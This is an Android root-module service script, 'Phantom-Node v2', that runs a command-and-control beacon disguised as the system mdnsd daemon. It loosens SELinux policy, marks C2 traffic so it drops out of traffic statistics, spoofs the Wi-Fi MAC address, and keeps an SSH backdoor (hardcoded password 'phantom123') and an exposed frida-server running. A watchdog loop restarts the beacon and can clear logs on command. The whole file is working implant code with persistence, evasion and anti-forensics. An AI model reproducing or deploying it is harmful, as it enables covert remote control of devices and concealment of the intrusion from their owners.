#!/system/bin/sh
# Phantom-Node v2 — KSU Module Service
# State machine: Inactive → Active → Deactivating
# Binary: mdnsd (masked as system mDNS daemon)

MODDIR=/data/adb/modules/phantom_node
BIN_PATH=$MODDIR/system/bin/mdnsd
[ -f "$BIN_PATH" ] || BIN_PATH=/data/local/tmp/pl
CTRL=/data/local/tmp/.pnctl
STATE=/data/local/tmp/.pnstate
PID_FILE=/data/local/tmp/.pnpid
C2="192.168.1.229:5445"
IFACE="wlan0"

# ── SELinux persistent rules ────────────────────────────────────────────────
/product/bin/magiskpolicy --live \
  "allow magisk magisk rawip_socket { create read write setopt getopt }" 2>/dev/null
/product/bin/magiskpolicy --live \
  "allow magisk magisk tcp_socket { create read write setopt getopt connect }" 2>/dev/null
/product/bin/magiskpolicy --live \
  "allow magisk shell_data_file file { execute read open }" 2>/dev/null
/product/bin/magiskpolicy --live \
  "allow magisk system_file file { execute read open }" 2>/dev/null
/product/bin/magiskpolicy --live \
  "allow magisk magisk capability { net_admin net_raw }" 2>/dev/null

# ── iptables NFMARK — hide C2 traffic from xt_qtaguid stats ────────────────
iptables -t mangle -C OUTPUT -p tcp --dport 5445 -j MARK --set-mark 0 2>/dev/null || \
  iptables -t mangle -A OUTPUT -p tcp --dport 5445 -j MARK --set-mark 0 2>/dev/null
iptables -t mangle -C OUTPUT -p tcp --dport 4445 -j MARK --set-mark 0 2>/dev/null || \
  iptables -t mangle -A OUTPUT -p tcp --dport 4445 -j MARK --set-mark 0 2>/dev/null

# ── Wait for network ────────────────────────────────────────────────────────
sleep 15

# ── MAC Randomization (deterministic from SoC serial — survives reboots) ───
SOC_SER=$(getprop ro.serialno 2>/dev/null || \
          cat /proc/sys/kernel/random/boot_id 2>/dev/null | tr -d '-' | cut -c1-16 || \
          echo "deadbeef")
MAC_SUFFIX=$(echo "$SOC_SER" | sha256sum 2>/dev/null | cut -c1-6)
REAL_MAC=$(ip link show "$IFACE" 2>/dev/null | awk '/ether/{print $2}')
OUI=$(echo "$REAL_MAC" | cut -d: -f1-3)
B4=$(echo "$MAC_SUFFIX" | cut -c1-2)
B5=$(echo "$MAC_SUFFIX" | cut -c3-4)
B6=$(echo "$MAC_SUFFIX" | cut -c5-6)
NEW_MAC="${OUI}:${B4}:${B5}:${B6}"
if [ -n "$REAL_MAC" ] && [ "$REAL_MAC" != "$NEW_MAC" ]; then
    ip link set "$IFACE" address "$NEW_MAC" 2>/dev/null || true
fi

# ── State machine watchdog ──────────────────────────────────────────────────
echo "active" > "$STATE"
echo "" > "$CTRL"

# ── SSH daemon persistence ──────────────────────────────────────────────────
if ! pgrep -x pn_sshd > /dev/null 2>&1; then
    nohup /data/local/tmp/pn_sshd -port 8022 -pass phantom123 > /dev/null 2>&1 &
fi

# ── frida-server persistence (bind 0.0.0.0 for direct host access) ─────────
if ! pgrep -x frida-server > /dev/null 2>&1; then
    nohup /data/local/tmp/frida-server -l 0.0.0.0 > /dev/null 2>&1 &
fi

start_beacon() {
    "$BIN_PATH" --c2 "$C2" --iface "$IFACE" &
    echo $! > "$PID_FILE"
}

beacon_alive() {
    PID=$(cat "$PID_FILE" 2>/dev/null)
    [ -n "$PID" ] && kill -0 "$PID" 2>/dev/null
}

# Start only if not already running
if ! beacon_alive; then
    start_beacon
fi

while true; do
    CTL=$(cat "$CTRL" 2>/dev/null | tr -d '[:space:]')

    case "$CTL" in
        deactivate|stop)
            echo "deactivating" > "$STATE"
            PID=$(cat "$PID_FILE" 2>/dev/null)
            [ -n "$PID" ] && kill "$PID" 2>/dev/null
            logcat -c 2>/dev/null
            rm -f "$PID_FILE"
            echo "inactive" > "$STATE"
            exit 0
            ;;
        emergency)
            # Wipe everything — no trace
            PID=$(cat "$PID_FILE" 2>/dev/null)
            [ -n "$PID" ] && kill -9 "$PID" 2>/dev/null
            rm -f "$PID_FILE" "$CTRL" "$STATE"
            logcat -c 2>/dev/null
            exit 0
            ;;
    esac

    # Auto-restart if dead
    if ! beacon_alive; then
        echo "activating" > "$STATE"
        start_beacon
        echo "active" > "$STATE"
    fi

    sleep 30
done